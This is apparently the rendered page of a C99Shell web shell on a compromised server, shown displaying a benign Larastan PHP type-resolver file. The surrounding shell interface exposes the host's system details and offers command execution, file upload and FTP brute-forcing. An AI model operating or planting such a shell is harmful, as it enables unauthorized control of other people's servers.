!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/nunomaduro/larastan/src/Types/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GenericEloquentCollectionTypeNodeResolverExtension.php (2.53 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
NunoMaduro\Larastan\Types;

use function 
count;
use 
Illuminate\Database\Eloquent\Collection;
use 
PHPStan\Analyser\NameScope;
use 
PHPStan\PhpDoc\TypeNodeResolver;
use 
PHPStan\PhpDoc\TypeNodeResolverExtension;
use 
PHPStan\PhpDocParser\Ast\Type\ArrayTypeNode;
use 
PHPStan\PhpDocParser\Ast\Type\IdentifierTypeNode;
use 
PHPStan\PhpDocParser\Ast\Type\TypeNode;
use 
PHPStan\PhpDocParser\Ast\Type\UnionTypeNode;
use 
PHPStan\Type\Generic\GenericObjectType;
use 
PHPStan\Type\Type;

/**
 * @see https://github.com/nunomaduro/larastan/issues/476
 * @see https://gist.github.com/ondrejmirtes/56af016d0595788d5400b8dfb6520adc
 *
 * This extension interprets docblocks like:
 *
 * \Illuminate\Database\Eloquent\Collection|\App\Account[] $accounts
 *
 * and transforms them into:
 *
 * \Illuminate\Database\Eloquent\Collection<\App\Account> $accounts
 *
 * Now IDE's can benefit from auto-completion, and we can benefit from the correct type passed to the generic collection
 */
class GenericEloquentCollectionTypeNodeResolverExtension implements TypeNodeResolverExtension
{
    
/**
     * @var TypeNodeResolver
     */
    
private $typeNodeResolver;

    public function 
__construct(TypeNodeResolver $typeNodeResolver)
    {
        
$this->typeNodeResolver $typeNodeResolver;
    }

    public function 
resolve(TypeNode $typeNodeNameScope $nameScope): ?Type
    
{
        if (! 
$typeNode instanceof UnionTypeNode || count($typeNode->types) !== 2) {
            return 
null;
        }

        
$arrayTypeNode null;
        
$identifierTypeNode null;
        foreach (
$typeNode->types as $innerTypeNode) {
            if (
$innerTypeNode instanceof ArrayTypeNode) {
                
$arrayTypeNode $innerTypeNode;
                continue;
            }

            if (
$innerTypeNode instanceof IdentifierTypeNode) {
                
$identifierTypeNode $innerTypeNode;
            }
        }

        if (
$arrayTypeNode === null || $identifierTypeNode === null) {
            return 
null;
        }

        
$identifierTypeName $nameScope->resolveStringName($identifierTypeNode->name);
        if (
$identifierTypeName !== Collection::class) {
            return 
null;
        }

        
$innerArrayTypeNode $arrayTypeNode->type;
        if (! 
$innerArrayTypeNode instanceof IdentifierTypeNode) {
            return 
null;
        }

        
$resolvedInnerArrayType $this->typeNodeResolver->resolve($innerArrayTypeNode$nameScope);

        return new 
GenericObjectType($identifierTypeName, [
            
$resolvedInnerArrayType,
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]--